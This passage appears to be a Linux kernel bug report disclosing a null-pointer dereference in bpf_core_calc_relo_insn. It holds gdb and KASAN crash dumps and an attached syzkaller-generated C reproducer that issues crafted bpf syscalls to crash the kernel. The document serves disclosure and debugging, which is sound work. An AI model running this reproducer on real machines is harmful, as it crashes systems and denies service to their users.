[ 89.505112] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b
[ 89.505441] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004
[ 89.505768] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000
[ 89.506099] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000
[ 89.506427] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000
[ 89.506754] FS: 00007f94a2d15640(0000) GS:ffff8881f7100000(0000)
knlGS:0000000000000000
[ 89.507129] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 89.507398] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0
```
I use gdb debug it,and found that the lack of a NULL check before
using local_type has led to a null pointer dereference vulnerability.
```
───────────────────────────────────────────────────────────────────────────[
REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────────────────────────────────────────────────
RAX 0xdffffc0000000000
RBX 0xdffffc0000000000
RCX 0xffffffff816c8b8b (btf_type_by_id+235) ◂— 0x404be85576e53944
RDX 0x0
RDI 0x4
RSI 0xffffffff816c8bea (btf_type_by_id+330) ◂— 0xe0894c5d5be43145
R8 0xffff88811669f778 ◂— 0x0
R9 0xffff888115f48000 ◂— 0x0
R10 0x4
R11 0xffff888104562080 ◂— 0x0
R12 0x0
R13 0xffff8881135b7000 —▸ 0xffff8881166280c2 ◂— 0x0
R14 0x4
R15 0xffff888115f48000 ◂— 0x0
RBP 0xffff88811669f6c0 —▸ 0xffff88811669f798 —▸ 0xffffffff8160fcb0
(check_btf_line) ◂— 0x56415741e5894855
RSP 0xffff88811669f3d0 ◂— 0x1ffff11022cd3e92
*RIP 0xffffffff8173e51e (bpf_core_calc_relo_insn+286) ◂— 0x83e0894c0214b60f
────────────────────────────────────────────────────────────────────────────────────[
DISASM / x86-64 / set emulate on
]────────────────────────────────────────────────────────────────────────────────────
0xffffffff8173e505 <bpf_core_calc_relo_insn+261> call
btf_type_by_id <btf_type_by_id>
0xffffffff8173e50a <bpf_core_calc_relo_insn+266> mov rdx, rax
0xffffffff8173e50d <bpf_core_calc_relo_insn+269> mov r12, rax
0xffffffff8173e510 <bpf_core_calc_relo_insn+272> movabs rax,
0xdffffc0000000000
0xffffffff8173e51a <bpf_core_calc_relo_insn+282> shr rdx, 3
<fixed_percpu_data+3>
► 0xffffffff8173e51e <bpf_core_calc_relo_insn+286> movzx edx,
byte ptr [rdx + rax]
0xffffffff8173e522 <bpf_core_calc_relo_insn+290> mov rax, r12
0xffffffff8173e525 <bpf_core_calc_relo_insn+293> and eax, 7
<fixed_percpu_data+7>
0xffffffff8173e528 <bpf_core_calc_relo_insn+296> add eax, 3
<fixed_percpu_data+3>
0xffffffff8173e52b <bpf_core_calc_relo_insn+299> cmp al, dl
0xffffffff8173e52d <bpf_core_calc_relo_insn+301> jl
bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311>
─────────────────────────────────────────────────────────────────────────────────────────────[
SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300
1295 char spec_buf[256];
1296 int i, j, err;
1297
1298 local_id = relo->type_id;
1299 local_type = btf_type_by_id(local_btf, local_id);
► 1300 local_name = btf__name_by_offset(local_btf,
local_type->name_off);
1301 if (!local_name)
1302 return -EINVAL;
1303
1304 err = bpf_core_parse_spec(prog_name, local_btf, relo,
local_spec);
1305 if (err) {
─────────────────────────────────────────────────────────────────────────────────────────────────[
STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
```
[-- Attachment #2: poc.c --]
[-- Type: text/plain, Size: 16194 bytes --]
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void loop(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (call == 1)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul, /*size=*/0x20ul);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
break;
case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
const char* reason;
(void)reason;
loop();
return 0;
}
[-- Attachment #3: .config --]
[-- Type: application/xml, Size: 143794 bytes --]
[-- Attachment #4: report.txt --]
[-- Type: text/plain, Size: 23279 bytes --]
Syzkaller hit 'general protection fault in bpf_core_calc_relo_insn' bug.
audit: type=1400 audit(1724099886.559:9): avc: denied { execmem } for pid=255 comm="syz-executor443" scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tclass=process permissive=1
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
CPU: 3 PID: 256 Comm: syz-executor443 Not tainted 6.10.5 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 tools/lib/bpf/relo_core.c:1300
Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 bd f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14 02 4c 89 e0 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 2c
RSP: 0018:ffff88810f81f3d0 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c4ceb
RDX: 0000000000000000 RSI: ffffffff816c4d4a RDI: 0000000000000004
RBP: ffff88810f81f6c0 R08: ffff88810f81f778 R09: ffff88810d7f0000
R10: 0000000000000004 R11: ffff88810d447c80 R12: 0000000000000000
R13: ffff88810a956000 R14: 0000000000000004 R15: ffff88810d7f0000
FS: 00007f8688b53640(0000) GS:ffff88811b180000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020000d42 CR3: 000000011200a000 CR4: 0000000000750ef0
PKRU: 55555554
Call Trace:
<TASK>
bpf_core_apply+0x48b/0xaf0 kernel/bpf/btf.c:8759
check_core_relo kernel/bpf/verifier.c:16470 [inline]
check_btf_info kernel/bpf/verifier.c:16527 [inline]
bpf_check+0x674b/0xba00 kernel/bpf/verifier.c:21650
bpf_prog_load+0x151c/0x2450 kernel/bpf/syscall.c:2908
__sys_bpf+0x12b3/0x5210 kernel/bpf/syscall.c:5688
__do_sys_bpf kernel/bpf/syscall.c:5795 [inline]
__se_sys_bpf kernel/bpf/syscall.c:5793 [inline]
__x64_sys_bpf+0x78/0xc0 kernel/bpf/syscall.c:5793
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xa6/0x1a0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f8688bae82d
Code: c3 e8 d7 1e 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f8688b531b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
RAX: ffffffffffffffda RBX: 00007f8688c49208 RCX: 00007f8688bae82d
RDX: 0000000000000090 RSI: 0000000020000480 RDI: 0000000000000005
RBP: 00007f8688c49200 R08: 0000000000000000 R09: 00007f8688b53640
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f8688c4920c
R13: 0000000000000000 R14: 00007f8688b77a00 R15: 00007f8688b33000
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
